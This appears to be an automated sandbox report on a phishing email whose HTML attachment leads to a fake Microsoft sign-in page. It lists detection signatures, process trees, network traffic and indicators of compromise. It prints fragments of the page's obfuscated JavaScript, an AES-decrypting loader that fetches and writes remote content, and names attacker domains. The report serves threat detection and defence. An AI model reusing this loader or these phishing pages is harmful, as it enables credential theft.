Edit tour

Windows Analysis Report
c20346ef.msg

Overview

General Information

Sample name:	c20346ef.msg renamed because original name is a hash value
Original sample name:	FW Pay App Vendor DisbursementNote-BATCHEFT-ACHPAYOUT Attn96c16e39772bc7ca3bf6045c7420c1f3c20346ef.msg
Analysis ID:	1538903
MD5:	d65c5a8b64ffe1740ef486c20a5d260c
SHA1:	eee3a14284f79b109ef7c2f0f8219222d9453f6e
SHA256:	6fa07d4707e6c618546733932d4ad92e5b1f01b23d2db714647e8f53a3c20a21
Infos:

Detection

Score:	68
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

AI detected phishing page

AI detected landing page (webpage, office document or email)

AI detected potential phishing Email

HTML page contains hidden URLs

HTML page contains suspicious javascript code

Phishing site detected (based on shot match)

HTML body contains low number of good links

HTML body contains password input but no form action

HTML body with high number of embedded images detected

HTML page contains hidden javascript code

HTML title does not match URL

Invalid T&C link found

Queries the volume information (name, serial number etc) of a device

Sigma detected: Office Autorun Keys Modification

Stores files to the Windows start menu directory

Uses Javascript AES encryption / decryption (likely to hide suspicious Javascript code)

Classification

Process Tree

System is w10x64_ra

OUTLOOK.EXE (PID: 2384 cmdline: "C:\Program Files (x86)\Microsoft Office\Root\Office16\OUTLOOK.EXE" /f "C:\Users\user\Desktop\c20346ef.msg" MD5: 91A5292942864110ED734005B7E005C0)

ai.exe (PID: 2100 cmdline: "C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\Office16\ai.exe" "BFDA705D-CF8A-418A-865E-F7DC54485B0A" "09FD4583-E251-49C8-BFB0-36ED024FBF14" "2384" "C:\Program Files (x86)\Microsoft Office\Root\Office16\OUTLOOK.EXE" "WordCombinedFloatieLreOnline.onnx" MD5: EC652BEDD90E089D9406AFED89A8A8BD)

chrome.exe (PID: 6836 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Content.Outlook\13FJYQDB\Payment Ref++Reden++96c16e39772bc7ca3bf6045c7420c1f3c20346ef.html MD5: 83395EAB5B03DEA9720F8D7AC0D15CAA)

chrome.exe (PID: 7020 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2112 --field-trial-handle=1932,i,12495394760996615769,8394586868423469529,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8 MD5: 83395EAB5B03DEA9720F8D7AC0D15CAA)

cleanup

Sigma Signatures

Sigma detected: Office Autorun Keys Modification

Source: Registry Key set

Author: Victor Sergeev, Daniil Yugoslavskiy, Gleb Sukhodolskiy, Timur Zinniatullin, oscd.community, Tim Shelton, frack113 (split): Data: Details: 1, EventID: 13, EventType: SetValue, Image: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE, ProcessId: 2384, TargetObject: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Outlook\Addins\SearchToolbarsDisabled

Suricata Signatures

⊘No Suricata rule has matched

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

Phishing

AI detected phishing page

Source: file:///C:/Users/user/AppData/Local/Microsoft/Windows/INetCache/Content.Outlook/13FJYQDB/Payment%20Ref++Reden++96c16e39772bc7ca3bf6045c7420c1f3c20346ef.html	LLM: Score: 10 Reasons: HTML file with login form DOM: 1.0.pages.csv
Source: https://charityshopacademymop.com.de/85cL/#4cmVkZW5AbXVyZXhsdGQuY29t	LLM: Score: 9 Reasons: The domain 'charityshopacademymop.com.de' does not match the legitimate domain 'microsoft.com'., The URL contains unrelated words 'charityshopacademymop', which are not associated with Microsoft., The domain extension '.com.de' is unusual for Microsoft, which typically uses '.com'., Presence of a password input field on a non-legitimate domain is suspicious and indicative of phishing. DOM: 2.4.pages.csv

HTML page contains hidden URLs

Source: https://charityshopacademymop.com.de/85cL/#4cmVkZW5AbXVyZXhsdGQuY29t

HTTP Parser: https://techgroovelifeone.ru///4935.php

HTML page contains suspicious javascript code

Source: https://charityshopacademymop.com.de/85cL/#4cmVkZW5AbXVyZXhsdGQuY29t

HTTP Parser: window.location.href = atob(

Phishing site detected (based on shot match)

Source: https://charityshopacademymop.com.de/85cL/#4cmVkZW5AbXVyZXhsdGQuY29t	Matcher: Template: captcha matched
Source: https://charityshopacademymop.com.de/85cL/#4cmVkZW5AbXVyZXhsdGQuY29t	Matcher: Template: captcha matched

Source: https://charityshopacademymop.com.de/85cL/#4cmVkZW5AbXVyZXhsdGQuY29t

HTTP Parser: Number of links: 0

Source: https://charityshopacademymop.com.de/85cL/#4cmVkZW5AbXVyZXhsdGQuY29t

HTTP Parser: <input type="password" .../> found but no <form action="...

Source: https://charityshopacademymop.com.de/85cL/#4cmVkZW5AbXVyZXhsdGQuY29t

HTTP Parser: Total embedded image size: 45687

Source: https://charityshopacademymop.com.de/85cL/#4cmVkZW5AbXVyZXhsdGQuY29t

HTTP Parser: Base64 decoded: {"version":3,"sources":["/cfsetup_build/src/orchestrator/turnstile/templates/turnstile.scss","%3Cinput%20css%20SREF6k%3E"],"names":[],"mappings":"AAmCA,gBACI,GACI,uBClCN,CACF,CDqCA,kBACI,GACI,mBCnCN,CACF,CDsCA,iBACI,MAEI,cCrCN,CDwCE,IACI,mBCtCN,CACF,CDyCA...

Source: https://charityshopacademymop.com.de/85cL/#4cmVkZW5AbXVyZXhsdGQuY29t

HTTP Parser: Title: sign-in now does not match URL

Source: https://charityshopacademymop.com.de/85cL/#4cmVkZW5AbXVyZXhsdGQuY29t	HTTP Parser: Invalid link: Fruits with antioxidants help reduce inflammation.
Source: https://charityshopacademymop.com.de/85cL/#4cmVkZW5AbXVyZXhsdGQuY29t	HTTP Parser: Invalid link: Fruits with antioxidants help reduce inflammation.

Source: https://charityshopacademymop.com.de/85cL/#4cmVkZW5AbXVyZXhsdGQuY29t

HTTP Parser: async function earthen(jack) { var {a,b,c,d} = json.parse(jack); return cryptojs.aes.decrypt(a, cryptojs.pbkdf2(cryptojs.enc.hex.parse(d), cryptojs.enc.hex.parse(b), {hasher:cryptojs.algo.sha512,keysize: 64/8,iterations:999}), {iv: cryptojs.enc.hex.parse(c)}).tostring(cryptojs.enc.utf8);} (async() => { document.write(await earthen(await (await fetch(await earthen(atob(`eyjhijoiu1ltcnhrzfbrmxfxdkjwsjfondh3vvlzumu3athjdmjqohb2uvm0c0h3qt0ilcjjijoiogrlzwezodm5ogjlzjlhntc4ogiyowm2ndmyywjhogiilcjiijoiogy0mmeyzda2ngq5otrjmtfmmzmzndrkztmyytyxm2i1yzc2mdjjmzi0mza2zgjkztgzotriowzimjllztbhotzkodk4zgi5nwqxnme3zgm2mdm3zty0mtkwywvmotu5ytq3zmfjzduynji1mjuxzdrjytdjnte2mza5njq3mtq0mtm1mtq2yte5mgeymjcwnwnjodnkytq5ywjhotmxndzhota0nzk3yzdinmq1nwyxntc1njbkotu0oddimjg5mwqwnzc1ztq0mtaxnde5otdkmziyymfjywiznmnizjq5odexnwe5nzg4mwzjnmywytcyyzjlndiyyzzmmtkxn2q5nguxmteyyzc1mjhjodg0mjcwmte3otm5yzc4ywewyziwzgqwmtk3nza4mgnhodkwogvkmmu4ymfky2jhmdq3zmiwmda1otu0zdlkmjm4ymzmmgewntnmnwvmodmxmtq5zwmw...

Source: https://charityshopacademymop.com.de/85cL/#4cmVkZW5AbXVyZXhsdGQuY29t

HTTP Parser: <input type="password" .../> found

Source: file:///C:/Users/user/AppData/Local/Microsoft/Windows/INetCache/Content.Outlook/13FJYQDB/Payment%20Ref++Reden++96c16e39772bc7ca3bf6045c7420c1f3c20346ef.html	HTTP Parser: No favicon
Source: https://charityshopacademymop.com.de/85cL/#4cmVkZW5AbXVyZXhsdGQuY29t	HTTP Parser: No favicon
Source: https://charityshopacademymop.com.de/85cL/#4cmVkZW5AbXVyZXhsdGQuY29t	HTTP Parser: No favicon
Source: https://charityshopacademymop.com.de/85cL/#4cmVkZW5AbXVyZXhsdGQuY29t	HTTP Parser: No favicon
Source: https://charityshopacademymop.com.de/85cL/#4cmVkZW5AbXVyZXhsdGQuY29t	HTTP Parser: No favicon

Source: https://charityshopacademymop.com.de/85cL/#4cmVkZW5AbXVyZXhsdGQuY29t	HTTP Parser: No <meta name="author".. found
Source: https://charityshopacademymop.com.de/85cL/#4cmVkZW5AbXVyZXhsdGQuY29t	HTTP Parser: No <meta name="author".. found

Source: https://charityshopacademymop.com.de/85cL/#4cmVkZW5AbXVyZXhsdGQuY29t	HTTP Parser: No <meta name="copyright".. found
Source: https://charityshopacademymop.com.de/85cL/#4cmVkZW5AbXVyZXhsdGQuY29t	HTTP Parser: No <meta name="copyright".. found

Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE

File opened: C:\Program Files (x86)\Microsoft Office\root\vfs\SystemX86\MSVCR100.dll

Source: unknown	HTTPS traffic detected: 40.126.31.71:443 -> 192.168.2.17:49712 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.202.163.200:443 -> 192.168.2.17:49728 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.126.31.71:443 -> 192.168.2.17:49754 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 2.23.209.185:443 -> 192.168.2.17:49758 version: TLS 1.2

Source: chrome.exe

Memory has grown: Private usage: 0MB later: 30MB

Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.13
Source: unknown	TCP traffic detected without corresponding DNS query: 40.126.31.71
Source: unknown	TCP traffic detected without corresponding DNS query: 40.126.31.71
Source: unknown	TCP traffic detected without corresponding DNS query: 40.126.31.71
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.13
Source: unknown	TCP traffic detected without corresponding DNS query: 40.126.31.71
Source: unknown	TCP traffic detected without corresponding DNS query: 40.126.31.71
Source: unknown	TCP traffic detected without corresponding DNS query: 40.126.31.71
Source: unknown	TCP traffic detected without corresponding DNS query: 40.126.31.71
Source: unknown	TCP traffic detected without corresponding DNS query: 40.126.31.71
Source: unknown	TCP traffic detected without corresponding DNS query: 40.126.31.71
Source: unknown	TCP traffic detected without corresponding DNS query: 40.126.31.71
Source: unknown	TCP traffic detected without corresponding DNS query: 40.126.31.71
Source: unknown	TCP traffic detected without corresponding DNS query: 40.126.31.71
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.13
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 192.229.211.108
Source: unknown	TCP traffic detected without corresponding DNS query: 192.229.211.108
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.13
Source: unknown	TCP traffic detected without corresponding DNS query: 192.229.211.108
Source: unknown	TCP traffic detected without corresponding DNS query: 192.229.211.108
Source: unknown	TCP traffic detected without corresponding DNS query: 192.229.211.108
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 192.229.211.108
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.13
Source: unknown	TCP traffic detected without corresponding DNS query: 192.229.211.108
Source: unknown	TCP traffic detected without corresponding DNS query: 93.184.221.240
Source: unknown	TCP traffic detected without corresponding DNS query: 93.184.221.240
Source: unknown	TCP traffic detected without corresponding DNS query: 172.202.163.200
Source: unknown	TCP traffic detected without corresponding DNS query: 172.202.163.200
Source: unknown	TCP traffic detected without corresponding DNS query: 172.202.163.200
Source: unknown	TCP traffic detected without corresponding DNS query: 172.202.163.200
Source: unknown	TCP traffic detected without corresponding DNS query: 172.202.163.200
Source: unknown	TCP traffic detected without corresponding DNS query: 172.202.163.200
Source: unknown	TCP traffic detected without corresponding DNS query: 172.202.163.200
Source: unknown	TCP traffic detected without corresponding DNS query: 172.202.163.200
Source: unknown	TCP traffic detected without corresponding DNS query: 172.202.163.200
Source: unknown	TCP traffic detected without corresponding DNS query: 172.202.163.200
Source: unknown	TCP traffic detected without corresponding DNS query: 172.202.163.200
Source: unknown	TCP traffic detected without corresponding DNS query: 172.202.163.200
Source: unknown	TCP traffic detected without corresponding DNS query: 172.202.163.200
Source: unknown	TCP traffic detected without corresponding DNS query: 172.202.163.200
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic	DNS traffic detected: DNS query: www.google.com
Source: global traffic	DNS traffic detected: DNS query: www.sharkmaritimecompany.com
Source: global traffic	DNS traffic detected: DNS query: charityshopacademymop.com.de
Source: global traffic	DNS traffic detected: DNS query: challenges.cloudflare.com
Source: global traffic	DNS traffic detected: DNS query: a.nel.cloudflare.com
Source: global traffic	DNS traffic detected: DNS query: cdnjs.cloudflare.com
Source: global traffic	DNS traffic detected: DNS query: techgroovelifeone.ru
Source: global traffic	DNS traffic detected: DNS query: code.jquery.com
Source: global traffic	DNS traffic detected: DNS query: apis.google.com
Source: global traffic	DNS traffic detected: DNS query: play.google.com

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49744
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49743
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49742
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49741
Source: unknown	Network traffic detected: HTTP traffic on port 49766 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49743 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49746 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49781 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49769 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49738
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49737
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49736
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49735
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49734
Source: unknown	Network traffic detected: HTTP traffic on port 49772 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49733
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49732
Source: unknown	Network traffic detected: HTTP traffic on port 49675 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49731
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49730
Source: unknown	Network traffic detected: HTTP traffic on port 49732 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49784 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49728 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49749 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49763 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49729
Source: unknown	Network traffic detected: HTTP traffic on port 49752 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49728
Source: unknown	Network traffic detected: HTTP traffic on port 49777 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49727
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49726
Source: unknown	Network traffic detected: HTTP traffic on port 49735 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49725
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49724
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49723
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49722
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49721
Source: unknown	Network traffic detected: HTTP traffic on port 49731 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49712 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49787 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49729 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49748 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49760 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49745 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49751 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49680 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49774 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49712
Source: unknown	Network traffic detected: HTTP traffic on port 49757 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49782 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49734 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49794
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49792
Source: unknown	Network traffic detected: HTTP traffic on port 49726 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49765 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49768 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49723 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49754 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49771 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49733 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49787
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49786
Source: unknown	Network traffic detected: HTTP traffic on port 49779 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49785
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49784
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49782
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49781
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49780
Source: unknown	Network traffic detected: HTTP traffic on port 49727 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49785 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49762 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49776 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49736 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49759 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49753 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49779
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49778
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49777
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49776
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49774
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49773
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49772
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49771
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49770
Source: unknown	Network traffic detected: HTTP traffic on port 49724 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49742 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49767 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49780 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49794 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49773 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49769
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49768
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49767
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49766
Source: unknown	Network traffic detected: HTTP traffic on port 49758 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49765
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49764
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49763
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49762
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49761
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49760
Source: unknown	Network traffic detected: HTTP traffic on port 49725 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49741 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49764 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49770 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49722 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49759
Source: unknown	Network traffic detected: HTTP traffic on port 49778 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49758
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49757
Source: unknown	Network traffic detected: HTTP traffic on port 49738 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49755 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49755
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49754
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49753
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49752
Source: unknown	Network traffic detected: HTTP traffic on port 49730 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49751
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49750
Source: unknown	Network traffic detected: HTTP traffic on port 49786 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49761 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49747 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49744 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49750 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49749
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49748
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49747
Source: unknown	Network traffic detected: HTTP traffic on port 49792 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49746
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49745

Source: unknown	HTTPS traffic detected: 40.126.31.71:443 -> 192.168.2.17:49712 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.202.163.200:443 -> 192.168.2.17:49728 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.126.31.71:443 -> 192.168.2.17:49754 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 2.23.209.185:443 -> 192.168.2.17:49758 version: TLS 1.2

Source: classification engine

Classification label: mal68.phis.winMSG@25/41@30/178

Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE

File created: C:\Program Files (x86)\Microsoft Office\root\vfs\Common AppData\Microsoft\Office\Heartbeat\HeartbeatCache.xml

Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE

File created: C:\Users\user\Documents\Outlook Files\~Outlook Data File - NoEmail.pst.tmp

Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE

File created: C:\Users\user\AppData\Local\Temp\Outlook Logging\OUTLOOK_16_0_16827_20130-20241021T1812080203-2384.etl

Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE

File read: C:\Users\desktop.ini

Source: unknown	Process created: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE "C:\Program Files (x86)\Microsoft Office\Root\Office16\OUTLOOK.EXE" /f "C:\Users\user\Desktop\c20346ef.msg"
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process created: C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\Office16\ai.exe "C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\Office16\ai.exe" "BFDA705D-CF8A-418A-865E-F7DC54485B0A" "09FD4583-E251-49C8-BFB0-36ED024FBF14" "2384" "C:\Program Files (x86)\Microsoft Office\Root\Office16\OUTLOOK.EXE" "WordCombinedFloatieLreOnline.onnx"
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Content.Outlook\13FJYQDB\Payment Ref++Reden++96c16e39772bc7ca3bf6045c7420c1f3c20346ef.html
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2112 --field-trial-handle=1932,i,12495394760996615769,8394586868423469529,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process created: C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\Office16\ai.exe "C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\Office16\ai.exe" "BFDA705D-CF8A-418A-865E-F7DC54485B0A" "09FD4583-E251-49C8-BFB0-36ED024FBF14" "2384" "C:\Program Files (x86)\Microsoft Office\Root\Office16\OUTLOOK.EXE" "WordCombinedFloatieLreOnline.onnx"
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Content.Outlook\13FJYQDB\Payment Ref++Reden++96c16e39772bc7ca3bf6045c7420c1f3c20346ef.html
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2112 --field-trial-handle=1932,i,12495394760996615769,8394586868423469529,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown

Source: C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\Office16\ai.exe	Section loaded: apphelp.dll
Source: C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\Office16\ai.exe	Section loaded: c2r64.dll
Source: C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\Office16\ai.exe	Section loaded: userenv.dll
Source: C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\Office16\ai.exe	Section loaded: msasn1.dll
Source: C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\Office16\ai.exe	Section loaded: kernel.appcore.dll
Source: C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\Office16\ai.exe	Section loaded: cryptsp.dll
Source: C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\Office16\ai.exe	Section loaded: rsaenh.dll
Source: C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\Office16\ai.exe	Section loaded: cryptbase.dll
Source: C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\Office16\ai.exe	Section loaded: gpapi.dll

Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{529A9E6B-6587-4F23-AB9E-9C7D683E3C50}\InProcServer32

Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE

Window found: window name: SysTabControl32

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE

Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Office\Common
